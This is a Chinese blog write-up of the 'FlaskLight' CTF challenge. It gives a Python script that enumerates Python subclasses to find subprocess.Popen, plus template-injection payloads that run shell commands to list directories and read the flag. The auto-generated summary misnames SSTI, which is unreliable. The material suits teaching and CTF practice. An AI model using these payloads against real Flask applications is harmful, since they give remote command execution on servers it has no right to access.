[CSCCTF 2019 Qual]FlaskLight

本文探讨了如何在Flask应用中识别并利用Substitution String Injection (SSI)漏洞,通过逐步寻找可执行指令,如`popen`,实现目录遍历获取flag。关键在于理解__subclasses__方法的应用和字符串转义技巧。
摘要由CSDN通过智能技术生成
知识点:ssti

题目已经告诉我们是flask,且知道了参数,一看就是ssti
在这里插入图片描述
找可以利用的,例如这边的popen
在这里插入图片描述
然后就是读目录拿flag了。
在这里插入图片描述

在这里插入图片描述
找可以利用的类:

import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
    try:
        url = "http://bfc795b4-2e86-4198-975d-8339d8a1d455.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

参考:
https://blog.csdn.net/mochu7777777/article/details/107589811

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值